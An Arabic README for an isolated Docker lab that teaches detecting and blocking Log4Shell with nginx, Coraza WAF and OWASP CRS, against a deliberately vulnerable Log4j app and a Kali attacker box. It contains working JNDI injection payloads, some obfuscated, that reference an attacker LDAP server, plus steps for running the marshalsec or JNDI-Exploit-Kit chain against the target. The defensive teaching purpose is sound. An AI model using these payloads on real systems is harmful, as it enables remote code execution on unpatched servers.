
مختبر دفاع Log4Shell (CVE-2021-44228) — nginx + الوحدة الديناميكية لـ Coraza WAF + OWASP CRS v4. للاستخدام التعليمي فقط.
غرض تعليمي / دفاعي: يحتوي هذا المختبر على تطبيق ضعيف عمدًا (Log4j 2.14.1) ومجموعة أدوات استغلال JNDI، يُستخدم فقط لتعلم كيفية اكتشاف وحظر Log4Shell في بيئة معزولة. لا تنشره على الإنترنت، ولا تستخدمه لمهاجمة أنظمة لا تملكها.
مختبر عملي دفاعي لـ Log4Shell (CVE-2021-44228) باستخدام nginx المدمج مع Coraza WAF (وحدة ديناميكية) + OWASP CRS v4 + مجموعة قواعد مخصصة لـ JNDI. يتضمن حاوية هدف Spring Boot ضعيفة، وصندوق مهاجم Kali، و Suricata + Wazuh للمراقبة.
المضيف (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24، مواجه خارجي)
│ ├── nginx-proxy ← نقطة الدخول :80/:443، مع وحدة Coraza + CRS v4
│ ├── attacker-box ← Kali + أدوات استغلال JNDI
│ └── suricata-ids ← يراقب حركة dmz
│
└── backend-net (172.22.0.0/24، داخلي: true)
├── nginx-proxy ← واجهة شبكة ثانية
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← واجهة مستخدم
تدفق الطلب: العميل → nginx (فحص Coraza) → log4shell-app. يعمل WAF داخل nginx (عبر وحدة ngx_http_coraza_module.so)، وليس كحاوية منفصلة.
| العنصر | الإصدار الأدنى |
|---|---|
| Docker Desktop / Engine | 24+ مع Compose v2 |
| ذاكرة وصول عشوائي خالية | 4 جيجابايت (Wazuh يستهلك ~1.5 جيجابايت) |
| مساحة قرص خالية | 6 جيجابايت (قطع بناء الصور) |
| وقت البناء الأول | 10–15 دقيقة (libcoraza + وحدة nginx + أدوات Maven للمهاجم) |
cd /path/to/log4shell-nginx-coraza
docker compose build
المرحلة الأبطأ هي nginx (بناء libcoraza v1.4.0 باستخدام Go 1.25، ثم تجميع وحدة coraza-nginx). يتم التخزين المؤقت بعد المرة الأولى.
docker compose up -d
docker compose ps
بعد ~30 ثانية، الحالة المتوقعة:
# اختبار حيوية nginx
curl http://localhost/health
# → "nginx proxy healthy"
# عبر WAF إلى التطبيق (نقطة النهاية الحقيقية للتطبيق الضعيف)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ بدون رأس X-Api-Version سيعيد 400 — هذا خطأ whitelabel من Spring Boot (لا يوجد معالج)، ليس حظرًا من WAF.
# JNDI في User-Agent → يتم تشغيل القاعدة 1910010، 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI في رأس يسجله التطبيق: X-Api-Version → يتم تشغيل القاعدة 1910001 (رأس+وسيطة)، 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI في سلسلة الاستعلام → CRS المرحلة 1 يحظر
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
متوقع: HTTP/1.1 403 Forbidden، الجسم <html>... 403 Forbidden ... nginx ...</html>.
# خدعة الأحرف الصغيرة (القاعدة 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# خدعة النقطتين-الشرطة-الشرطة (القاعدة 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (القاعدة 1910026: Content-Type=json + الجسم يحتوي على jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
كل حدث JSON Lines، يحتوي على:
transaction.is_interrupted: true → WAF حظرmessages[].error_message → أي قاعدة تم تشغيلها، اسم الملف ورقم السطر، الخطورةdocker exec nginx-proxy tail -f /var/log/nginx/access.log
تصفية الحظر:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
افتراضيًا، يتم تعيين
backend-netكـinternal: trueويكونattacker-boxفقط فيdmz-net، لذا لا يمكن لتطبيق log4shell الوصول إلى صندوق المهاجم. لتشغيل سلسلة JNDI بشكل كامل، قم بالخطوة 6.0 أولاً.
قم بتعديل docker-compose.yml، أضف attacker-box إلى backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— أضف
أو انقل تطبيق log4shell إلى dmz-net (أبسط لكن يقلل الجانب التعليمي للتقسيم):
log4shell-app:
networks:
- backend-net
- dmz-net # <— أضف
طبق: docker compose up -d (سيعيد Compose إنشاء تلك الحاوية).
docker exec -it kali-attacker bash
cd /opt/exploits
# الخيار A: marshalsec — بسيط، يعيد توجيه LDAP→HTTP فقط
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# الخيار B: JNDI-Exploit-Kit — مجموعة أدوات كاملة، حمولة "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
يستمع الخادم على LDAP :1389 و HTTP :8888 (مكشوفة للمضيف في compose).
# من صندوق المهاجم، استدعاء تطبيق log4shell مباشرة على backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
تحقق:
# تم إنشاء علامة الاختراق في حاوية التطبيق
docker exec victim-app ls -la /tmp/pwned
إذا رأيت الملف → سلسلة الاستغلال تعمل، التطبيق لا يزال ضعيفًا، لم يتم تجاوز WAF عند المرور عبر المسار الرئيسي.
# المرور عبر nginx (المسار الرئيسي العام)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden، لا يوجد /tmp/pwned جديد
يتم تثبيت ملف ./coraza/config/log4shell-rules.conf كـ :ro في nginx عند /etc/nginx/coraza/log4shell-rules.conf. بعد التعديل:
docker exec nginx-proxy nginx -t # فحص الصياغة
docker exec nginx-proxy nginx -s reload
إذا أبلغ Coraza عن خطأ في التحليل (failed to compile the directive...)، ستخرج العمال و nginx -s reload لن يعيد تشغيلها. في هذه الحالة:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
ترتيب التضمين (في nginx/coraza/main.conf، مدمج في الصورة):
SecRuleEngine On، سجل التدقيق، سجل التصحيحcrs-setup.conf — تهيئة tx.*_anomaly_score، العتبةowasp-crs/rules/*.conf — CRS v4.7.0 بالكاملlog4shell-rules.conf — القواعد المخصصة (مركبة من المضيف)نطاق معرف القواعد المخصصة: 1910001 – 1910999 (تجنب نطاق CRS 900000–999999).
EMERGENCY، ALERT، CRITICAL، ERROR، WARNING، NOTICE، INFO، DEBUG. HIGH/LOW غير صالحة.IP:، SESSION:، RESOURCE:) لا تعمل إذا لم يتم تكوين مخزن دعم. استخدم tx. لكل طلب أو تحديد المعدل عبر nginx limit_req_zone.(unhealthy) / curl localhost يتعطلdocker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
عادةً بسبب صياغة قاعدة جديدة خاطئة → تخرج جميع العمال بالرمز 2. أصلح القاعدة، ثم docker compose restart nginx.
failed to create WAF: ... unknown severity: HIGHغيّر severity:'HIGH' إلى severity:'ERROR' في القاعدة المخصصة.
failed to compile the directive "secrule": invalid arguments, expected collection TXالقاعدة تستخدم setvar:ip.xxx أو تشير إلى IP:something / TX:NEVER_DECLARED. أزل المجموعة المستمرة أو ادمج المنطق في قاعدة سلسلة واحدة.
Exited (1)صورة jasonish/suricata:latest لها نقطة دخول خاصة وقد لا يكون ملف yaml المركب من ./suricata/config/ متوافقًا مع الإصدار في الصورة. إصلاح سريع: علّق مؤقتًا خدمة suricata في compose، سيظل المختبر يعمل بشكل طبيعي (لا حاجة لـ IDS ليعمل Coraza). للإصلاح الجذري، استبدل suricata.yaml بالإعداد الافتراضي من الصورة (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).
الصورة الأساسية مبنية على Alpine 3.8 EOL. تأكد من أن الأمر في compose هو ["java", "-jar", "/app/spring-boot-application.jar"] (لا يحتوي على apk add iptables — مستودع Alpine 3.8 لم يعد متاحًا).
http://localhost:5601مدير Wazuh ولوحة التحكم يحتاجان إلى wazuh-indexer (OpenSearch) ليعملوا بشكل كامل. الحزمة الحالية تفتقد هذه الخدمة — ستبدأ لوحة التحكم لكن تسجيل الدخول سيفشل. لاحقًا عند الحاجة الفعلية، أضف خدمة wazuh-indexer وفقًا لـ compose الرسمي.
# إيقاف + إزالة الحاويات، الاحتفاظ بذاكرة التخزين المؤقت للصور
docker compose down
# إزالة كل شيء (بما في ذلك وحدات تخزين Wazuh، إعادة بناء من الصفر في المرة القادمة)
docker compose down -v
# حذف صور البناء أيضًا (تحرير ~3 جيجابايت)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # متعدد المراحل: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; في http{}
│ ├── conf/
│ │ └── default.conf # بروكسي عكسي → log4shell-app:8080
│ └── coraza/
│ └── main.conf # إعداد المحرك + تضمين CRS + مخصص
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # قواعد JNDI مخصصة، مركبة :ro في nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # نقاط تثبيت لـ nginx، coraza، التطبيق، suricata، wazuh
| النطاق | المسؤول | يتداخل مع نطاق CRS؟ |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (تهيئة، سمعة IP، بروتوكول، RCE، SQLi، XSS، ماسحات، حظر eval) | (مملوك لـ CRS) |
| 1910000–1910999 | قواعد Log4Shell المخصصة | لا |
جميع معرفات القواعد المخصصة الحالية: 1910001–1910008 (أنماط JNDI)، 1910010–1910014 (لكل رأس)، 1910015 (بروتوكولات بديلة)، 1910020 (كشف المسح)، 1910026 (سلسلة جسم JSON)، 1910028 (سلسلة جسم XML)، 1910030 (بارانويا 3)، 1910999 (صدى تقييم الشذوذ).
النهاية: إذا تمكن المختبر من العمل حتى الخطوة 4، فإن WAF يعمل. الخطوة 6 مطلوبة فقط عند الرغبة في عرض سلسلة الاستغلال الكاملة من البداية إلى النهاية.
| الخدمة | الحالة |
|---|
nginx-proxy | Up (سليم) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | قد يكون Restarting (انظر القسم 8 — لا يعطل المختبر) |
TX:VARNAME يمكنها فقط الإشارة إلى متغير تم تعيينه بـ setvar في نفس الطلب. إذا كانت القاعدة في مرحلة مختلفة، فكر في دمجها في قاعدة سلسلة.